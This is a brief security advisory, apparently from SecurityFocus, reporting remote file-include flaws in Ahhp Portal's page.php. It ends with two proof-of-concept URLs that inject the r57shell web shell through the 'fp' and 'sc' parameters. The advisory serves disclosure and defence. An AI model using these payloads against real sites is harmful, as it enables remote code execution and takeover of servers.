source: https://www.securityfocus.com/bid/23658/info

Ahhp Portal is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible. 

http://www.example.com/page.php?fp=r57shell?
http://www.example.com/page.php?sc=r57shell?